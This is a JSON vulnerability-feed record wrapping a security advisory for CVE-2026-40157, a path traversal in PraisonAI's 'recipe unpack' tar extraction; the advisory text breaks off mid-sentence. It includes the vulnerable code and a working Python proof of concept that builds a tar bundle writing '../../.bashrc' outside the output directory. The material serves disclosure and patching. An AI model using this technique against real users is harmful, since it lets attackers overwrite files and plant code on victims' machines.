{"vuln_id":"CVE-2026-40157","aliases":["GHSA-99g3-w8gr-x37c"],"description":"PraisonAI vulnerable to arbitrary file write via path traversal in `praisonai recipe unpack`","published_at":"2026-04-10T19:27:59Z","modified_at":"2026-11-16T15:57:15Z","first_seen_at":"2026-11-21T19:15:20.271149Z","severity":"critical","severity_source":"ghsa","cvss_score":9.4,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","cwe":["CWE-22"],"vendor":null,"product":null,"kev":{"is_kev":false,"date_added":null,"due_date":null,"ransomware":false},"epss":0.00385,"epss_percentile":0.33321,"nvd_status":null,"enriched_at":null,"links":{"nvd":"https://nvd.nist.gov/vuln/detail/CVE-2026-40157"},"matched_alias":null,"items":[{"id":2529,"source":{"id":"ghsa","name":"GitHub Security Advisories"},"title":"GHSA-99g3-w8gr-x37c / CVE-2026-40157: PraisonAI vulnerable to arbitrary file write via path traversal in `praisonai recipe unpack`","summary":"PraisonAI vulnerable to arbitrary file write via path traversal in `praisonai recipe unpack`\n\n| Field | Value |\n|---|---|\n| Severity | Critical |\n| Type | Path traversal -- arbitrary file write via `tar.extract()` without member validation |\n| Affected | `src/praisonai/praisonai/cli/features/recipe.py:1170-1172` |\n\n## Summary\n\n`cmd_unpack` in the recipe CLI extracts `.praison` tar archives using raw `tar.extract()` without validating archive member paths. A `.praison` bundle containing `../../` entries will write files outside the intended output directory. An attacker who distributes a malicious bundle can overwrite arbitrary files on the victim's filesystem when they run `praisonai recipe unpack`.\n\n## Details\n\nThe vulnerable code is in `cli/features/recipe.py:1170-1172`:\n\n```python\nfor member in tar.getmembers():\nif member.name != \"manifest.json\":\ntar.extract(member, recipe_dir)\n```\n\nThe only check is whether the member is `manifest.json`. The code never validates member names -- absolute paths, `..` components, and symlinks all pass through. Python's `tarfile.extract()` resolves these relative to the destination, so a member named `../../.bashrc` lands two directories above `recipe_dir`.\n\nThe codebase does contain a safe extraction function (`_safe_extractall` in `recipe/registry.py:131-162`) that rejects absolute paths, `..` segments, and resolved paths outside the destination. It is used by the `pull` and `publish` paths, but `cmd_unpack` does not call it.\n\n```python\n# recipe/registry.py:141-159 -- safe version exists but is not used by cmd_unpack\ndef _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -> None:\ndest = str(dest_dir.resolve())\nfor member in tar.getmembers():\nif os.path.isabs(member.name):\nraise RegistryError(...)\nif \"..\" in member.name.split(\"/\"):\nraise RegistryError(...)\nresolved = os.path.realpath(os.path.join(dest, member.name))\nif not resolved.startswith(dest + os.sep):\nraise RegistryError(...)\ntar.extractall(dest_dir)\n```\n\n## PoC\n\nBuild a malicious bundle:\n\n```python\nimport tarfile, io, json\n\nmanifest = json.dumps({\"name\": \"legit-recipe\", \"version\": \"1.0.0\"}).encode()\n\nwith tarfile.open(\"malicious.praison\", \"w:gz\") as tar:\ninfo = tarfile.TarInfo(name=\"manifest.json\")\ninfo.size = len(manifest)\ntar.addfile(info, io.BytesIO(manifest))\n\npayload = b\"export EVIL=1 # injected by malicious recipe\\n\"\nevil = tarfile.TarInfo(name=\"../../.bashrc\")\nevil.size = len(payload)\ntar.addfile(evil, io.BytesIO(payload))\n```\n\nTrigger:\n\n```bash\npraisonai recipe unpack malicious.praison -o ./recipes\n# Expected: files written only under ./recipes/legit-recipe/\n# Actual: .bashrc written two directories above the output dir\n```\n\n## Impact\n\n| Path | Traversal blocked? |\n|------|--------------------|\n| `praisonai recipe pull\n` | Yes -- uses `_safe_extractall` |\n| `praisonai recipe publish\n` | Yes -- uses `_safe_extractall` |\n| `praisonai recipe unpack\n` | No -- raw `tar.extract()` |\n\nAn attacker ne\n\nAffected packages: pip:PraisonAI\nPatched: PraisonAI 4.5.128","url":"https://github.com/advisories/GHSA-99g3-w8gr-x37c","published_at":"2026-04-10T19:27:59Z","updated_at":"2026-11-16T15:57:15Z","fetched_at":"2026-11-21T19:15:18.416909Z","severity":"critical","cvss_score":9.4,"epss":0.00385,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":null,"product":"PraisonAI","vuln_id":"CVE-2026-40157","vuln_ids":["CVE-2026-40157","GHSA-99G3-W8GR-X37C"],"tags":["ghsa","pip","CWE-22"],"cluster_id":2502,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/2529","html":"https://vulnwatch.ve1ve2.com/item/2529"}}]}